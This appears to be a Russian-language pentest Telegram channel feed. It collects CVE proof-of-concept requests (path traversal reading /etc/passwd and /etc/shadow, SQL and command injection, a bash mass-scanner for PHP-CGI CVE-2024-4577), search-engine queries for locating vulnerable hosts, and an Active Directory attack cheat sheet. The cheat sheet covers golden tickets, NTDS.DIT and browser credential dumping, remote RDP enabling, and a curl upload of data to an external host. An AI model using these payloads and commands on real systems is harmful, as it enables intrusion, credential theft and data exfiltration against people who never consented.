Pentest Notes

Казалось бы, описание новой критической RCE-уязвимости в Битриксе (CVSS 9.5) появилось относительно недавно, а хакеры уже все сломали. Половина всех VMBitrix, которые видны в поисковых системах на данный момент либо мертвы, либо взломаны. FOFA - 218 results BDU:2024-05252 CVE-2022-29268

BI.ZONE Bug Bounty обновили свою платформу, выглядит очень симпатично) Что нового: 🔵Изменили стилевое и цветовое оформление. Визуальная часть стала более атмосферной и тематической. 🔵Внедрили систему тегов. Теперь легко отфильтровать программы по нужным критериям. Например, кто отвечает за триаж ­— компания или наши эксперты, можно ли перевести выплату на благотворительность. 🔵Добавили метрику для программы. Появилась возможность посмотреть среднее время обработки отчета в рамках каждой программы. Учитывается период с момента отправки репорта до получения информации о его финальном статусе. Подробнее можно почитать тут: https://t.me/bizone_bb/265

Позвали в приватку, потестить ПО для управления инфраструктурой Как обычно начинаю искать, куда можно пихнуть мои любимые XSS-ки, захожу в закладки а тут вот) Гермиона, привет) Спасибо, что предупредила, отправлять им такое, пожалуй, не буду

CVE-2024-22853 None Github link: https://github.com/FaLLenSKiLL1/CVE-2024-22853

Для удобства, решил сделать свой телеграм канал, куда будут публиковаться все новые PoC с github. https://t.me/github_exploits

CVE-2024-33111 D-LINK DIR-845L XSS Маршрутизаторы D-Link DIR-845L версии 1.01KRb03 и ниже уязвимы для межсайтового скриптинга (XSS) через эндпоинт /htdocs/webinc/js/bsc_sms_inbox.php Exploit FOFA: 496 results Shodan: 33 results Censys: 42 results #dlink #cve #xss

CVE-2024-33113 D-LINK DIR-845L information disclosure Уязвимость раскрытия информации в D-LINK DIR-845L через файл bsc_sms_inbox.php. Exploit * FOFA: 496 results * #dlink #cve

🔥 Нашли файл .DS_Store? Не игнорируйте! Это может быть потенциальный вектор атаки. Что это такое? 🤔 Файл .DS_Store (Desktop Services Store) — это скрытый файл, который macOS создает в каждой директории для хранения информации о настройках отображения. По умолчанию эти файлы скрыты, поэтому невнимательные администраторы могут их пропустить и оставить в общедоступных директориях веб-сервера. Почему это полезно? 🛠 Файл .DS_Store хранит информацию о структуре директорий. Разобрав этот файл, можно получить список всех файлов и папок в данной директории. Это особенно полезно, если названия файлов генерируются случайно и их нельзя сбрутить. Реальный кейс 🚀 📌 При обычном сканировании директорий в корне сайта был найден .DS_Store. С помощью утилиты Python-dsstore можно было посмотреть файловое окружение, таким образом была восстановлена структура сайта. Меня заинтересовала директория files, в которой, о чудо оказался еще один .DS_Store, который раскрывал все файлы и директории рядом (см. фото). В том числе и те, которые пользователь явно не должен был видеть. 📌 Пробежав по директориям и изучив все файлы, удалось получить учетные данные от админки сайта. 💡 Для автоматизации поиска и анализа файлов .DS_Store можно использовать Python-скрипты и такие инструменты как ds_store_extractor. Это поможет сэкономить время и быстро получить структуру директорий.

🚨 Новая статья о RCE через Dependency Confusion! Атаки на цепочку поставок, такие как "Dependency Confusion", становятся всё более изощрёнными. Злоумышленники создают пакеты с именами, идентичными приватным пакетам компаний, и загружают их в публичные репозитории. Система сборки скачивает эти вредоносные пакеты, что может привести к удалённому выполнению кода (RCE). Примеры влзможных защитных мер включают в себя цифровые подписи пакетов, мониторинг зависимостей и тестирование в изолированных средах. Комплексный подход и регулярный аудит критически важны для безопасности. 📖 Узнайте больше и защитите свои проекты

CVE-2024-34470 HSC MailInspector * POC: GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd FOFA: title=="..:: HSC MailInspector ::.."

CVE-2024-4577 Argument Injection in PHP-CGI ДОПОЛНЕНИЕ к предыдущему посту BASH: #!/bin/bash # Function to check vulnerability for a domain check_vulnerability() { local domain=$1 local response=$(curl -s -X POST "${domain}/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" \ -H "User-Agent: curl/8.3.0" \ -H "Accept: */*" \ -H "Content-Length: 23" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Connection: keep-alive" \ --data "<?php phpinfo(); ?>" \ --max-time 10) if [[ $response == *"PHP Version"* ]]; then echo "$domain: Vulnerable" fi } # Main function to iterate over domains main() { local file=$1 while IFS= read -r domain || [ -n "$domain" ]; do check_vulnerability "$domain" done < "$file" } # Check if the file argument is provided if [ "$#" -ne 1 ]; then echo "Usage: $0 <domain_list_file>" exit 1 fi # Call the main function with the domain list file main "$1" * Сохраняйте скрипт и по списку доменов: ./CVE-2024-4577_script.sh /path/to/domains-list #php #xamp

CVE-2024-4577 Argument Injection in PHP-CGI * При разработке PHP упустил из виду функцию преобразования символов Best-Fit в Windows. Когда PHP-CGI работает на платформе Windows и использует определенные кодовые страницы (упрощенный китайский 936, традиционный китайский 950, японский 932 и т. д.), атакующий может создавать вредоносные запросы для обхода исправления CVE-2012-1823. Это позволяет им выполнять произвольный код PHP без необходимости аутентификации. * fofa link (610,604 хостов) #php #xamp

CVE-2024-24919 * Check Point Remote Access VPN 0-Day * FOFA link * POC: POST /clients/MyCRL HTTP/1.1 Host: <redacted> Content-Length: 39 aCSHELL/../../../../../../../etc/shadow #0day #checkpoint

PhpMyAdmin Setup - доступен без аутентификации ))) **** 1. ищем хосты через shodan и censys 2. все IP сканим на на ниличие службы ПХПмайАдмин 3. wappalyzer покажет php, лучше использовать php.txt 4. phpMyAdmin/setup найден ))

CVE-2024-32002 GIT RCE * Удаленного выполнения кода в подмодулях Git. Payload может быть активирован через рекурсивное клонирование репозитория Git. * POC exploit #git #rce

Cheat Sheets Active Directory by @knightpentest & h4ckerVasya228 Golden ticket

proxychains -q -f /etc/prox.conf impacket-ticketer -nthash c52768f4166e464cd2ecdd4352e189f1 -domain-sid S-1-6-22-3732769435-1556326674-770229386-500 -domain knightpentest.local krb

Get Active Directory users

proxychains -q -f proxychains.conf impacket-GetADUsers -all -dc-ip 127.0.01 'knightpentest.local/hackervasya:l0veyou' | tee -a usersAD.txt

LDAPDomainDump https://github.com/dirkjanm/ldapdomaindump собрать инфу о компах, юзерах, политике паролей и т.д

proxychains -q -f proxychains.conf ldapdomaindump -u 'knightpentest.local\hackervasya' -p 'l0veyou' 127.0.0.1 -o ldapenum

Extract only NTDS.DIT data (NTLM hashes and Kerberos keys) more info: https://kb.offsec.nl/tools/framework/impacket/secretsdump-py/

proxychains -q -f /etc/proxychains.conf python3 secretsdump.py <DOMAIN>/<USER>:"<PASSWORD>"@<IP-DOMAIN-CONTROLLER> -dc-ip <IP-DOMAIN-CONTROLLER> -just-dc -o dump.txt

dump browser credentials

for x in $(cat smbs.txt); do proxychains -q -f proxychains.conf dploot browser -d knightpentest.local -u student -p 'L9vvv' -pvk key.pvk $x;done >> browser.txt

dump the backup key

dploot backupkey -d knightpentest.local -u student -p 'qwerty221' 127.0.0.1

internal scanner fscan

fscan.exe -h 192.168.1.1/24

Conveniently upload and download data.

echo a > a.txt curl -T a.txt bashupload.com

connect to host

proxychains -q -f proxychains.conf evil-winrm -i 192.168.0.0 -u 'knightpentest.local\student' -p 'Louis123'

check share

proxychains -q -f proxychains.conf smbmap -H 192.168.0.0 -u student -p 'Lvvvv34' -d 'knightpentest.local'

proxychains -q -f proxychains.conf smbmap -H 192.168.0.0 -u student -p 'Lvvvv34' -d 'knightpentest.local' -r 'D$'

proxychains -q -f proxychains.conf nxc smb 192.168.0.0 -u 'student' -p 'Lvvvv34' --shares

proxychains -q -f proxychains.conf nxc smb smbs.txt -u 'student' -p 'Lvvvv34' -M spider

Get process

proxychains -q -f proxychains.conf nxc smb 127.0.0.1 -u 'student' -p 'Lvvvv34' -x 'powershell /c "Get-WmiObject win32_process | Format-List ProcessId, CommandLine"'

rdp connect

proxychains -q -f proxychains4.conf xfreerdp /u:student /p:'Lvvvv34' /d:knightpentest.local /v:127.0.0.1 /cert-ignore

rdp on

proxychains -q -f proxychains.conf nxc smb 127.0.0.1 -u 'student' -p 'Lvvvv34' -d 'knightpentest.local' -x 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

Get-PSDrive

proxychains -q -f proxychains.conf nxc smb 192.168.0.0 -u 'student' -p 'Lvvvv34' -d 'knightpentest.local' -x 'powershell get-psdrive'

current user sessions

proxychains -q -f proxychains.conf nxc smb 192.168.0.0 -u 'student' -p 'Lvvvv34' -d 'knightpentest.local' -x 'quser'

Dump Veeam

proxychains -q -f proxychains.conf nxc smb 192.168.0.0 -u 'student' -p 'Lvvvv34' -M veeam

Viewing shared resources

net view \\KNIGHT\

🌈—KnightPentest—🌈 #activedirectory #pentest #windows

CVE-2024-33551 Уязвимость SQL inj, обнаруженная в 8theme XStore, платформе электронной коммерции, созданной на базе WordPress. Уязвимость позволяет команды SQL в базе данных. * POC POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: keep-alive Upgrade-Insecure-Requests: 1 #wordpress #sql

CVE-2024-29895 cacti * Command injection in cmd_realtime.php * fofa link * usage: http://localhost/cacti/cmd_realtime.php?1+1&&calc.exe+1+1+1 #net